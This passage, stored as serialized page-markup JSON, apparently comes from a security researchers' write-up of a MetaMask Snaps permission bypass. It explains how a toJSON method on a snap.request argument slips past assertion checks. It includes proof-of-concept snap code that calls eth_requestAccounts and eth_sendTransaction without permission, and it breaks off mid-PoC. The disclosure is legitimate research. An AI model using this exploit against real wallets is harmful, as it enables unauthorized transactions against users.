assertSnapOutboundRequest",{"type":21,"tag":153,"props":41444,"children":41445},{"style":160},[41446],{"type":26,"value":189},{"type":21,"tag":153,"props":41448,"children":41449},{"style":192},[41450],{"type":26,"value":40921},{"type":21,"tag":153,"props":41452,"children":41453},{"style":160},[41454],{"type":26,"value":31048},{"type":21,"tag":153,"props":41456,"children":41457},{"style":3050},[41458],{"type":26,"value":41459},"// or assertEthereumOutboundRequest(args);\n",{"type":21,"tag":153,"props":41461,"children":41462},{"class":155,"line":225},[41463,41467,41472,41476,41481,41485,41489],{"type":21,"tag":153,"props":41464,"children":41465},{"style":170},[41466],{"type":26,"value":34242},{"type":21,"tag":153,"props":41468,"children":41469},{"style":192},[41470],{"type":26,"value":41471}," sanitizedArgs",{"type":21,"tag":153,"props":41473,"children":41474},{"style":198},[41475],{"type":26,"value":255},{"type":21,"tag":153,"props":41477,"children":41478},{"style":181},[41479],{"type":26,"value":41480}," getSafeJson",{"type":21,"tag":153,"props":41482,"children":41483},{"style":160},[41484],{"type":26,"value":189},{"type":21,"tag":153,"props":41486,"children":41487},{"style":192},[41488],{"type":26,"value":40921},{"type":21,"tag":153,"props":41490,"children":41491},{"style":160},[41492],{"type":26,"value":530},{"type":21,"tag":153,"props":41494,"children":41495},{"class":155,"line":239},[41496,41501,41505,41510,41514,41518,41523],{"type":21,"tag":153,"props":41497,"children":41498},{"style":170},[41499],{"type":26,"value":41500},"      this",{"type":21,"tag":153,"props":41502,"children":41503},{"style":160},[41504],{"type":26,"value":355},{"type":21,"tag":153,"props":41506,"children":41507},{"style":181},[41508],{"type":26,"value":41509},"notify",{"type":21,"tag":153,"props":41511,"children":41512},{"style":160},[41513],{"type":26,"value":34193},{"type":21,"tag":153,"props":41515,"children":41516},{"style":192},[41517],{"type":26,"value":34198},{"type":21,"tag":153,"props":41519,"children":41520},{"style":671},[41521],{"type":26,"value":41522}," 'OutboundRequest'",{"type":21,"tag":153,"props":41524,"children":41525},{"style":160},[41526],{"type":26,"value":41527}," });\n",{"type":21,"tag":153,"props":41529,"children":41530},{"class":155,"line":382},[41531,41536],{"type":21,"tag":153,"props":41532,"children":41533},{"style":1751},[41534],{"type":26,"value":41535},"      try",{"type":21,"tag":153,"props":41537,"children":41538},{"style":160},[41539],{"type":26,"value":236},{"type":21,"tag":153,"props":41541,"children":41542},{"class":155,"line":501},[41543,41547,41551,41556],{"type":21,"tag":153,"props":41544,"children":41545},{"style":1751},[41546],{"type":26,"value":18441},{"type":21,"tag":153,"props":41548,"children":41549},{"style":1751},[41550],{"type":26,"value":38904},{"type":21,"tag":153,"props":41552,"children":41553},{"style":181},[41554],{"type":26,"value":41555}," withTeardown",{"type":21,"tag":153,"props":41557,"children":41558},{"style":160},[41559],{"type":26,"value":773},{"type":21,"tag":153,"props":41561,"children":41562},{"class":155,"line":533},[41563,41568,41572,41577,41581,41586,41590,41594],{"type":21,"tag":153,"props":41564,"children":41565},{"style":181},[41566],{"type":26,"value":41567},"          originalRequest",{"type":21,"tag":153,"props":41569,"children":41570},{"style":160},[41571],{"type":26,"value":189},{"type":21,"tag":153,"props":41573,"children":41574},{"style":192},[41575],{"type":26,"value":41576},"sanitizedArgs",{"type":21,"tag":153,"props":41578,"children":41579},{"style":1751},[41580],{"type":26,"value":11553},{"type":21,"tag":153,"props":41582,"children":41583},{"style":214},[41584],{"type":26,"value":41585}," unknown",{"type":21,"tag":153,"props":41587,"children":41588},{"style":1751},[41589],{"type":26,"value":11553},{"type":21,"tag":153,"props":41591,"children":41592},{"style":214},[41593],{"type":26,"value":40930},{"type":21,"tag":153,"props":41595,"children":41596},{"style":160},[41597],{"type":26,"value":679},{"type":21,"tag":153,"props":41599,"children":41600},{"class":155,"line":542},[41601,41606,41610,41614],{"type":21,"tag":153,"props":41602,"children":41603},{"style":170},[41604],{"type":26,"value":41605},"          this",{"type":21,"tag":153,"props":41607,"children":41608},{"style":1751},[41609],{"type":26,"value":11553},{"type":21,"tag":153,"props":41611,"children":41612},{"style":214},[41613],{"type":26,"value":13078},{"type":21,"tag":153,"props":41615,"children":41616},{"style":160},[41617],{"type":26,"value":792},{"type":21,"tag":153,"props":41619,"children":41620},{"class":155,"line":762},[41621],{"type":21,"tag":153,"props":41622,"children":41623},{"style":160},[41624],{"type":26,"value":10470},{"type":21,"tag":153,"props":41626,"children":41627},{"class":155,"line":776},[41628,41633,41638],{"type":21,"tag":153,"props":41629,"children":41630},{"style":160},[41631],{"type":26,"value":41632},"      } ",{"type":21,"tag":153,"props":41634,"children":41635},{"style":1751},[41636],{"type":26,"value":41637},"finally",{"type":21,"tag":153,"props":41639,"children":41640},{"style":160},[41641],{"type":26,"value":236},{"type":21,"tag":153,"props":41643,"children":41644},{"class":155,"line":795},[41645,41650,41654,41658,41662,41666,41671],{"type":21,"tag":153,"props":41646,"children":41647},{"style":170},[41648],{"type":26,"value":41649},"        this",{"type":21,"tag":153,"props":41651,"children":41652},{"style":160},[41653],{"type":26,"value":355},{"type":21,"tag":153,"props":41655,"children":41656},{"style":181},[41657],{"type":26,"value":41509},{"type":21,"tag":153,"props":41659,"children":41660},{"style":160},[41661],{"type":26,"value":34193},{"type":21,"tag":153,"props":41663,"children":41664},{"style":192},[41665],{"type":26,"value":34198},{"type":21,"tag":153,"props":41667,"children":41668},{"style":671},[41669],{"type":26,"value":41670}," 'OutboundResponse'",{"type":21,"tag":153,"props":41672,"children":41673},{"style":160},[41674],{"type":26,"value":41527},{"type":21,"tag":153,"props":41676,"children":41677},{"class":155,"line":808},[41678],{"type":21,"tag":153,"props":41679,"children":41680},{"style":160},[41681],{"type":26,"value":15381},{"type":21,"tag":153,"props":41683,"children":41684},{"class":155,"line":820},[41685],{"type":21,"tag":153,"props":41686,"children":41687},{"style":160},[41688],{"type":26,"value":751},{"type":21,"tag":22,"props":41690,"children":41691},{},[41692,41694,41699,41701,41706],{"type":26,"value":41693},"In particular, this function is from the ",{"type":21,"tag":78,"props":41695,"children":41697},{"className":41696},[],[41698],{"type":26,"value":40871},{"type":26,"value":41700}," provider, but the only thing that changes between this and ",{"type":21,"tag":78,"props":41702,"children":41704},{"className":41703},[],[41705],{"type":26,"value":34112},{"type":26,"value":41707}," is the assert function in the first line.",{"type":21,"tag":22,"props":41709,"children":41710},{},[41711],{"type":26,"value":41712},"As we can see in the code, the execution flow follows this pattern:",{"type":21,"tag":126,"props":41714,"children":41715},{},[41716,41728,41733],{"type":21,"tag":91,"props":41717,"children":41718},{},[41719,41721,41726],{"type":26,"value":41720},"Assert if ",{"type":21,"tag":78,"props":41722,"children":41724},{"className":41723},[],[41725],{"type":26,"value":40921},{"type":26,"value":41727}," are valid",{"type":21,"tag":91,"props":41729,"children":41730},{},[41731],{"type":26,"value":41732},"getSafeJson to get sanitizedArgs",{"type":21,"tag":91,"props":41734,"children":41735},{},[41736],{"type":26,"value":41737},"originalRequest(sanitizedArgs)",{"type":21,"tag":22,"props":41739,"children":41740},{},[41741,41743,41749],{"type":26,"value":41742},"Obs: ",{"type":21,"tag":78,"props":41744,"children":41746},{"className":41745},[],[41747],{"type":26,"value":41748},"originalRequest",{"type":26,"value":41750}," makes the RPC call to metamask service worker",{"type":21,"tag":114,"props":41752,"children":41754},{"id":41753},"safe-json-exploit",[41755],{"type":26,"value":41756},"Safe JSON Exploit",{"type":21,"tag":22,"props":41758,"children":41759},{},[41760,41762,41768,41770,41775,41777,41783],{"type":26,"value":41761},"As we dug further into the",{"type":21,"tag":78,"props":41763,"children":41765},{"className":41764},[],[41766],{"type":26,"value":41767},"getSafeJson",{"type":26,"value":41769}," function (defined in ",{"type":21,"tag":78,"props":41771,"children":41773},{"className":41772},[],[41774],{"type":26,"value":39989},{"type":26,"value":41776}," package) we discovered the following ",{"type":21,"tag":29,"props":41778,"children":41781},{"href":41779,"rel":41780},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[33],[41782],{"type":26,"value":78},{"type":26,"value":201},{"type":21,"tag":143,"props":41785,"children":41787},{"className":38307,"code":41786,"language":38309,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n  assertStruct(value, UnsafeJsonStruct);\n  return JSON.parse(\n    JSON.stringify(value, (propKey, propValue) => {\n      // Strip __proto__ and constructor properties to prevent prototype pollution.\n      if (propKey === '__proto__' || propKey === 'constructor') {\n        return undefined;\n      }\n      return propValue;\n    }),\n  );\n});\n",[41788],{"type":21,"tag":78,"props":41789,"children":41790},{"__ignoreMap":7},[41791,41856,41883,41908,41963,41971,42018,42034,42041,42058,42065,42072],{"type":21,"tag":153,"props":41792,"children":41793},{"class":155,"line":156},[41794,41798,41803,41808,41812,41817,41821,41826,41830,41834,41839,41844,41848,41852],{"type":21,"tag":153,"props":41795,"children":41796},{"style":1751},[41797],{"type":26,"value":40902},{"type":21,"tag":153,"props":41799,"children":41800},{"style":170},[41801],{"type":26,"value":41802}," const",{"type":21,"tag":153,"props":41804,"children":41805},{"style":192},[41806],{"type":26,"value":41807}," JsonStruct",{"type":21,"tag":153,"props":41809,"children":41810},{"style":198},[41811],{"type":26,"value":255},{"type":21,"tag":153,"props":41813,"children":41814},{"style":181},[41815],{"type":26,"value":41816}," coerce",{"type":21,"tag":153,"props":41818,"children":41819},{"style":160},[41820],{"type":26,"value":189},{"type":21,"tag":153,"props":41822,"children":41823},{"style":192},[41824],{"type":26,"value":41825},"UnsafeJsonStruct",{"type":21,"tag":153,"props":41827,"children":41828},{"style":160},[41829],{"type":26,"value":1670},{"type":21,"tag":153,"props":41831,"children":41832},{"style":181},[41833],{"type":26,"value":19411},{"type":21,"tag":153,"props":41835,"children":41836},{"style":160},[41837],{"type":26,"value":41838},"(), (",{"type":21,"tag":153,"props":41840,"children":41841},{"style":192},[41842],{"type":26,"value":41843},"value",{"type":21,"tag":153,"props":41845,"children":41846},{"style":160},[41847],{"type":26,"value":2362},{"type":21,"tag":153,"props":41849,"children":41850},{"style":170},[41851],{"type":26,"value":17524},{"type":21,"tag":153,"props":41853,"children":41854},{"style":160},[41855],{"type":26,"value":236},{"type":21,"tag":153,"props":41857,"children":41858},{"class":155,"line":166},[41859,41863,41867,41871,41875,41879],{"type":21,"tag":153,"props":41860,"children":41861},{"style":181},[41862],{"type":26,"value":41252},{"type":21,"tag":153,"props":41864,"children":41865},{"style":160},[41866],{"type":26,"value":189},{"type":21,"tag":153,"props":41868,"children":41869},{"style":192},[41870],{"type":26,"value":41843},{"type":21,"tag":153,"props":41872,"children":41873},{"style":160},[41874],{"type":26,"value":1670},{"type":21,"tag":153,"props":41876,"children":41877},{"style":192},[41878],{"type":26,"value":41825},{"type":21,"tag":153,"props":41880,"children":41881},{"style":160},[41882],{"type":26,"value":530},{"type":21,"tag":153,"props":41884,"children":41885},{"class":155,"line":225},[41886,41891,41895,41899,41904],{"type":21,"tag":153,"props":41887,"children":41888},{"style":1751},[41889],{"type":26,"value":41890},"  return",{"type":21,"tag":153,"props":41892,"children":41893},{"style":192},[41894],{"type":26,"value":40221},{"type":21,"tag":153,"props":41896,"children":41897},{"style":160},[41898],{"type":26,"value":355},{"type":21,"tag":153,"props":41900,"children":41901},{"style":181},[41902],{"type":26,"value":41903},"parse",{"type":21,"tag":153,"props":41905,"children":41906},{"style":160},[41907],{"type":26,"value":773},{"type":21,"tag":153,"props":41909,"children":41910},{"class":155,"line":239},[41911,41916,41920,41925,41929,41933,41937,41942,41946,41951,41955,41959],{"type":21,"tag":153,"props":41912,"children":41913},{"style":192},[41914],{"type":26,"value":41915},"    JSON",{"type":21,"tag":153,"props":41917,"children":41918},{"style":160},[41919],{"type":26,"value":355},{"type":21,"tag":153,"props":41921,"children":41922},{"style":181},[41923],{"type":26,"value":41924},"stringify",{"type":21,"tag":153,"props":41926,"children":41927},{"style":160},[41928],{"type":26,"value":189},{"type":21,"tag":153,"props":41930,"children":41931},{"style":192},[41932],{"type":26,"value":41843},{"type":21,"tag":153,"props":41934,"children":41935},{"style":160},[41936],{"type":26,"value":11544},{"type":21,"tag":153,"props":41938,"children":41939},{"style":192},[41940],{"type":26,"value":41941},"propKey",{"type":21,"tag":153,"props":41943,"children":41944},{"style":160},[41945],{"type":26,"value":1670},{"type":21,"tag":153,"props":41947,"children":41948},{"style":192},[41949],{"type":26,"value":41950},"propValue",{"type":21,"tag":153,"props":41952,"children":41953},{"style":160},[41954],{"type":26,"value":2362},{"type":21,"tag":153,"props":41956,"children":41957},{"style":170},[41958],{"type":26,"value":17524},{"type":21,"tag":153,"props":41960,"children":41961},{"style":160},[41962],{"type":26,"value":236},{"type":21,"tag":153,"props":41964,"children":41965},{"class":155,"line":382},[41966],{"type":21,"tag":153,"props":41967,"children":41968},{"style":3050},[41969],{"type":26,"value":41970},"      // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":21,"tag":153,"props":41972,"children":41973},{"class":155,"line":501},[41974,41979,41983,41987,41991,41996,42000,42005,42009,42014],{"type":21,"tag":153,"props":41975,"children":41976},{"style":1751},[41977],{"type":26,"value":41978},"      if",{"type":21,"tag":153,"props":41980,"children":41981},{"style":160},[41982],{"type":26,"value":5820},{"type":21,"tag":153,"props":41984,"children":41985},{"style":192},[41986],{"type":26,"value":41941},{"type":21,"tag":153,"props":41988,"children":41989},{"style":198},[41990],{"type":26,"value":34117},{"type":21,"tag":153,"props":41992,"children":41993},{"style":671},[41994],{"type":26,"value":41995}," '__proto__'",{"type":21,"tag":153,"props":41997,"children":41998},{"style":198},[41999],{"type":26,"value":26394},{"type":21,"tag":153,"props":42001,"children":42002},{"style":192},[42003],{"type":26,"value":42004}," propKey",{"type":21,"tag":153,"props":42006,"children":42007},{"style":198},[42008],{"type":26,"value":34117},{"type":21,"tag":153,"props":42010,"children":42011},{"style":671},[42012],{"type":26,"value":42013}," 'constructor'",{"type":21,"tag":153,"props":42015,"children":42016},{"style":160},[42017],{"type":26,"value":2659},{"type":21,"tag":153,"props":42019,"children":42020},{"class":155,"line":533},[42021,42025,42030],{"type":21,"tag":153,"props":42022,"children":42023},{"style":1751},[42024],{"type":26,"value":18441},{"type":21,"tag":153,"props":42026,"children":42027},{"style":170},[42028],{"type":26,"value":42029}," undefined",{"type":21,"tag":153,"props":42031,"children":42032},{"style":160},[42033],{"type":26,"value":1759},{"type":21,"tag":153,"props":42035,"children":42036},{"class":155,"line":542},[42037],{"type":21,"tag":153,"props":42038,"children":42039},{"style":160},[42040],{"type":26,"value":15381},{"type":21,"tag":153,"props":42042,"children":42043},{"class":155,"line":762},[42044,42049,42054],{"type":21,"tag":153,"props":42045,"children":42046},{"style":1751},[42047],{"type":26,"value":42048},"      return",{"type":21,"tag":153,"props":42050,"children":42051},{"style":192},[42052],{"type":26,"value":42053}," propValue",{"type":21,"tag":153,"props":42055,"children":42056},{"style":160},[42057],{"type":26,"value":1759},{"type":21,"tag":153,"props":42059,"children":42060},{"class":155,"line":776},[42061],{"type":21,"tag":153,"props":42062,"children":42063},{"style":160},[42064],{"type":26,"value":41237},{"type":21,"tag":153,"props":42066,"children":42067},{"class":155,"line":795},[42068],{"type":21,"tag":153,"props":42069,"children":42070},{"style":160},[42071],{"type":26,"value":41104},{"type":21,"tag":153,"props":42073,"children":42074},{"class":155,"line":808},[42075],{"type":21,"tag":153,"props":42076,"children":42077},{"style":160},[42078],{"type":26,"value":38031},{"type":21,"tag":22,"props":42080,"children":42081},{},[42082,42084,42090,42092,42097,42099,42105,42107,42113],{"type":26,"value":42083},"The function performs a ",{"type":21,"tag":78,"props":42085,"children":42087},{"className":42086},[],[42088],{"type":26,"value":42089},"JSON.parse(JSON.stringify(value))",{"type":26,"value":42091}," in the argument sent to ",{"type":21,"tag":78,"props":42093,"children":42095},{"className":42094},[],[42096],{"type":26,"value":41767},{"type":26,"value":42098},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":21,"tag":78,"props":42100,"children":42102},{"className":42101},[],[42103],{"type":26,"value":42104},"toJSON",{"type":26,"value":42106}," function in a legit ",{"type":21,"tag":78,"props":42108,"children":42110},{"className":42109},[],[42111],{"type":26,"value":42112},"snap.request",{"type":26,"value":42114}," argument:",{"type":21,"tag":126,"props":42116,"children":42117},{},[42118,42123,42128],{"type":21,"tag":91,"props":42119,"children":42120},{},[42121],{"type":26,"value":42122},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":21,"tag":91,"props":42124,"children":42125},{},[42126],{"type":26,"value":42127},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":21,"tag":91,"props":42129,"children":42130},{},[42131],{"type":26,"value":42132},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":21,"tag":22,"props":42134,"children":42135},{},[42136],{"type":26,"value":42137},"The assertion bypass can be useful on two occasions:",{"type":21,"tag":126,"props":42139,"children":42140},{},[42141,42146],{"type":21,"tag":91,"props":42142,"children":42143},{},[42144],{"type":26,"value":42145},"forward blocked RPC methods",{"type":21,"tag":91,"props":42147,"children":42148},{},[42149,42151,42156,42158,42164,42166,42171],{"type":26,"value":42150},"Making requests in ",{"type":21,"tag":78,"props":42152,"children":42154},{"className":42153},[],[42155],{"type":26,"value":42112},{"type":26,"value":42157}," that were only supposed to be done within ",{"type":21,"tag":78,"props":42159,"children":42161},{"className":42160},[],[42162],{"type":26,"value":42163},"ethereum.request",{"type":26,"value":42165}," (with ",{"type":21,"tag":78,"props":42167,"children":42169},{"className":42168},[],[42170],{"type":26,"value":41341},{"type":26,"value":42172}," enabled).",{"type":21,"tag":22,"props":42174,"children":42175},{},[42176],{"type":26,"value":42177},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":21,"tag":114,"props":42179,"children":42180},{"id":8393},[42181],{"type":26,"value":8396},{"type":21,"tag":22,"props":42183,"children":42184},{},[42185],{"type":26,"value":42186},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":21,"tag":22,"props":42188,"children":42189},{},[42190],{"type":21,"tag":3644,"props":42191,"children":42193},{"alt":7,"src":42192},"/posts/metamask-snaps/note.png",[],{"type":21,"tag":114,"props":42195,"children":42197},{"id":42196},"proof-of-concept",[42198],{"type":26,"value":37523},{"type":21,"tag":22,"props":42200,"children":42201},{},[42202,42204,42209,42211,42216,42218,42224],{"type":26,"value":42203},"To demonstrate the issue, we created a snap without the ",{"type":21,"tag":78,"props":42205,"children":42207},{"className":42206},[],[42208],{"type":26,"value":41341},{"type":26,"value":42210}," permission, and used the ",{"type":21,"tag":78,"props":42212,"children":42214},{"className":42213},[],[42215],{"type":26,"value":40871},{"type":26,"value":42217}," interface to call ",{"type":21,"tag":78,"props":42219,"children":42221},{"className":42220},[],[42222],{"type":26,"value":42223},"eth_sendTransaction",{"type":26,"value":42225},". According to the documentation, this shouldn't be possible:",{"type":21,"tag":143,"props":42227,"children":42229},{"className":38307,"code":42228,"language":38309,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_requestAccounts\",\n      params: []\n    }\n  }\n\n  return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_sendTransaction\",\n      params: [{\n        from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n        to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n        value: \"0x1\",\n      }]\n    }\n  }\n\n  return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n  switch (request.method) {\n    case 'json':\n      return jsonExploit();\n    case 'transaction':\n      return transactionExploit();\n    default:\n      throw new Error('Method not found.');\n  }\n};\n",[42230],{"type":21,"tag":78,"props":42231,"children":42232},{"__ignoreMap":7},[42233,42266,42273,42280,42297,42326,42333,42358,42365,42397,42408,42425,42438,42445,42452,42459,42491,42498,42505,42512,42528,42555,42562,42585,42592,42623,42634,42650,42662,42683,42698,42715,42723,42730,42737,42744,42775,42782,42789,42849,42856,42884,42901,42916,42932,42947,42959,42989,42996],{"type":21,"tag":153,"props":42234,"children":42235},{"class":155,"line":156},[42236,42240,42244,42249,42253,42257,42262],{"type":21,"tag":153,"props":42237,"children":42238},{"style":1751},[42239],{"type":26,"value":22180},{"type":21,"tag":153,"props":42241,"children":42242},{"style":160},[42243],{"type":26,"value":12308},{"type":21,"tag":153,"props":42245,"children":42246},{"style":192},[42247],{"type":26,"value":42248},"OnRpcRequestHandler",{"type":21,"tag":153,"props":42250,"children":42251},{"style":160},[42252],{"type":26,"value":38895},{"type":21,"tag":153,"props":42254,"children":42255},{"style":1751},[42256],{"type":26,"value":22170},{"type":21,"tag":153,"props":42258,"children":42259},{"style":671},[42260],{"type":26,"value":42261}," '@metamask/snaps-types'",{"type":21,"tag":153,"props":42263,"children":42264},{"style":160},[42265],{"type":26,"value":1759},{"type":21,"tag":153,"props":42267,"children":42268},{"class":155,"line":166},[42269],{"type":21,"tag":153,"props":42270,"children":42271},{"emptyLinePlaceholder":16},[42272],{"type":26,"value":759},{"type":21,"tag":153,"props":42274,"children":42275},{"class":155,"line":225},[42276],{"type":21,"tag":153,"props":42277,"children":42278},{"emptyLinePlaceholder":16},[42279],{"type":26,"value":759},{"type":21,"tag":153,"props":42281,"children":42282},{"class":155,"line":239},[42283,42287,42292],{"type":21,"tag":153,"props":42284,"children":42285},{"style":170},[42286],{"type":26,"value":34072},{"type":21,"tag":153,"props":42288,"children":42289},{"style":181},[42290],{"type":26,"value":42291}," jsonExploit",{"type":21,"tag":153,"props":42293,"children":42294},{"style":160},[42295],{"type":26,"value":42296},"(){\n",{"type":21,"tag":153,"props":42298,"children":42299},{"class":155,"line":382},[42300,42304,42308,42312,42317,42321],{"type":21,"tag":153,"props":42301,"children":42302},{"style":170},[42303],{"type":26,"value":10582},{"type":21,"tag":153,"props":42305,"children":42306},{"style":192},[42307],{"type":26,"value":21761},{"type":21,"tag":153,"props":42309,"children":42310},{"style":198},[42311],{"type":26,"value":255},{"type":21,"tag":153,"props":42313,"children":42314},{"style":160},[42315],{"type":26,"value":42316}," [] ",{"type":21,"tag":153,"props":42318,"children":42319},{"style":1751},[42320],{"type":26,"value":11567},{"type":21,"tag":153,"props":42322,"children":42323},{"style":214},[42324],{"type":26,"value":42325}," any\n",{"type":21,"tag":153,"props":42327,"children":42328},{"class":155,"line":501},[42329],{"type":21,"tag":153,"props":42330,"children":42331},{"emptyLinePlaceholder":16},[42332],{"type":26,"value":759},{"type":21,"tag":153,"props":42334,"children":42335},{"class":155,"line":533},[42336,42341,42345,42349,42353],{"type":21,"tag":153,"props":42337,"children":42338},{"style":192},[42339],{"type":26,"value":42340},"  x",{"type":21,"tag":153,"props":42342,"children":42343},{"style":160},[42344],{"type":26,"value":355},{"type":21,"tag":153,"props":42346,"children":42347},{"style":192},[42348],{"type":26,"value":41005},{"type":21,"tag":153,"props":42350,"children":42351},{"style":198},[42352],{"type":26,"value":255},{"type":21,"tag":153,"props":42354,"children":42355},{"style":671},[42356],{"type":26,"value":42357}," \"snap_dialog\"\n",{"type":21,"tag":153,"props":42359,"children":42360},{"class":155,"line":542},[42361],{"type":21,"tag":153,"props":42362,"children":42363},{"emptyLinePlaceholder":16},[42364],{"type":26,"value":759},{"type":21,"tag":153,"props":42366,"children":42367},{"class":155,"line":762},[42368,42372,42376,42380,42384,42389,42393],{"type":21,"tag":153,"props":42369,"children":42370},{"style":192},[42371],{"type":26,"value":42340},{"type":21,"tag":153,"props":42373,"children":42374},{"style":160},[42375],{"type":26,"value":355},{"type":21,"tag":153,"props":42377,"children":42378},{"style":181},[42379],{"type":26,"value":42104},{"type":21,"tag":153,"props":42381,"children":42382},{"style":198},[42383],{"type":26,"value":255},{"type":21,"tag":153,"props":42385,"children":42386},{"style":160},[42387],{"type":26,"value":42388}," () ",{"type":21,"tag":153,"props":42390,"children":42391},{"style":170},[42392],{"type":26,"value":17524},{"type":21,"tag":153,"props":42394,"children":42395},{"style":160},[42396],{"type":26,"value":236},{"type":21,"tag":153,"props":42398,"children":42399},{"class":155,"line":776},[42400,42404],{"type":21,"tag":153,"props":42401,"children":42402},{"style":1751},[42403],{"type":26,"value":19687},{"type":21,"tag":153,"props":42405,"children":42406},{"style":160},[42407],{"type":26,"value":236},{"type":21,"tag":153,"props":42409,"children":42410},{"class":155,"line":795},[42411,42416,42421],{"type":21,"tag":153,"props":42412,"children":42413},{"style":192},[42414],{"type":26,"value":42415},"      method:",{"type":21,"tag":153,"props":42417,"children":42418},{"style":671},[42419],{"type":26,"value":42420}," \"eth_requestAccounts\"",{"type":21,"tag":153,"props":42422,"children":42423},{"style":160},[42424],{"type":26,"value":792},{"type":21,"tag":153,"props":42426,"children":42427},{"class":155,"line":808},[42428,42433],{"type":21,"tag":153,"props":42429,"children":42430},{"style":192},[42431],{"type":26,"value":42432},"      params:",{"type":21,"tag":153,"props":42434,"children":42435},{"style":160},[42436],{"type":26,"value":42437}," []\n",{"type":21,"tag":153,"props":42439,"children":42440},{"class":155,"line":820},[42441],{"type":21,"tag":153,"props":42442,"children":42443},{"style":160},[42444],{"type":26,"value":539},{"type":21,"tag":153,"props":42446,"children":42447},{"class":155,"line":842},[42448],{"type":21,"tag":153,"props":42449,"children":42450},{"style":160},[42451],{"type":26,"value":8601},{"type":21,"tag":153,"props":42453,"children":42454},{"class":155,"line":3204},[42455],{"type":21,"tag":153,"props":42456,"children":42457},{"emptyLinePlaceholder":16},[42458],{"type":26,"value":759},{"type":21,"tag":153,"props":42460,"children":42461},{"class":155,"line":3230},[42462,42466,42471,42475,42479,42483,42487],{"type":21,"tag":153,"props":42463,"children":42464},{"style":1751},[42465],{"type":26,"value":41890},{"type":21,"tag":153,"props":42467,"children":42468},{"style":192},[42469],{"type":26,"value":42470}," snap",{"type":21,"tag":153,"props":42472,"children":42473},{"style":160},[42474],{"type":26,"value":355},{"type":21,"tag":153,"props":42476,"children":42477},{"style":181},[42478],{"type":26,"value":34188},{"type":21,"tag":153,"props":42480,"children":42481},{"style":160},[42482],{"type":26,"value":189},{"type":21,"tag":153,"props":42484,"children":42485},{"style":192},[42486],{"type":26,"value":21972},{"type":21,"tag":153,"props":42488,"children":42489},{"style":160},[42490],{"type":26,"value":5909},{"type":21,"tag":153,"props":42492,"children":42493},{"class":155,"line":3239},[42494],{"type":21,"tag":153,"props":42495,"children":42496},{"emptyLinePlaceholder":16},[42497],{"type":26,"value":759},{"type":21,"tag":153,"props":42499,"children":42500},{"class":155,"line":3253},[42501],{"type":21,"tag":153,"props":42502,"children":42503},{"style":160},[42504],{"type":26,"value":548},{"type":21,"tag":153,"props":42506,"children":42507},{"class":155,"line":3301},[42508],{"type":21,"tag":153,"props":42509,"children":42510},{"emptyLinePlaceholder":16},[42511],{"type":26,"value":759},{"type":21,"tag":153,"props":42513,"children":42514},{"class":155,"line":3346},[42515,42519,42524],{"type":21,"tag":153,"props":42516,"children":42517},{"style":170},[42518],{"type":26,"value":34072},{"type":21,"tag":153,"props":42520,"children":42521},{"style":181},[42522],{"type":26,"value":42523}," transactionExploit",{"type":21,"tag":153,"props":42525,"children":42526},{"style":160},[42527],{"type":26,"value":42296},{"type":21,"tag":153,"props":42529,"children":42530},{"class":155,"line":3355},[42531,42535,42539,42543,42547,42551],{"type":21,"tag":153,"props":42532,"children":42533},{"style":170},[42534],{"type":26,"value":10582},{"type":21,"tag":153,"props":42536,"children":42537},{"style":192},[42538],{"type":26,"value":21761},{"type":21,"tag":153,"props":42540,"children":42541},{"style":198},[42542],{"type":26,"value":255},{"type":21,"tag":153,"props":42544,"children":42545},{"style":160},[42546],{"type":26,"value":42316},{"type":21,"tag":153,"props":42548,"children":42549},{"style":1751},[42550],{"type":26,"value":11567},{"type":21,"tag":153,"props":42552,"children":42553},{"style":214},[42554],{"type":26,"value":42325},{"type":21,"tag":153,"props":42556,"children":42557},{"class":155,"line":3364},[42558],{"type":21,"tag":153,"props":42559,"children":42560},{"emptyLinePlaceholder":16},[42561],{"type":26,"value":759},{"type":21,"tag":153,"props":42563,"children":42564},{"class":155,"line":3376},[42565,42569,42573,42577,42581],{"type":21,"tag":153,"props":42566,"children":42567},{"style":192},[42568],{"type":26,"value":42340},{"type":21,"tag":153,"props":42570,"children":42571},{"style":160},[42572],{"type":26,"value":355},{"type":21,"tag":153,"props":42574,"children":42575},{"style":192},[42576],{"type":26,"value":41005},{"type":21,"tag":153,"props":42578,"children":42579},{"style":198},[42580],{"type":26,"value":255},{"type":21,"tag":153,"props":42582,"children":42583},{"style":671},[42584],{"type":26,"value":42357},{"type":21,"tag":153,"props":42586,"children":42587},{"class":155,"line":3393},[42588],{"type":21,"tag":153,"props":42589,"children":42590},{"emptyLinePlaceholder":16},[42591],{"type":26,"value":759},{"type":21,"tag":153,"props":42593,"children":42594},{"class":155,"line":3405},[42595,42599,42603,42607,42611,42615,42619],{"type":21,"tag":153,"props":42596,"children":42597},{"style":192},[42598],{"type":26,"value":42340},{"type":21,"tag":153,"props":42600,"children":42601},{"style":160},[42602],{"type":26,"value":355},{"type":21,"tag":153,"props":42604,"children":42605},{"style":181},[42606],{"type":26,"value":42104},{"type":21,"tag":153,"props":42608,"children":42609},{"style":198},[42610],{"type":26,"value":255},{"type":21,"tag":153,"props":42612,"children":42613},{"style":160},[42614],{"type":26,"value":42388},{"type":21,"tag":153,"props":42616,"children":42617},{"style":170},[42618],{"type":26,"value":17524},{"type":21,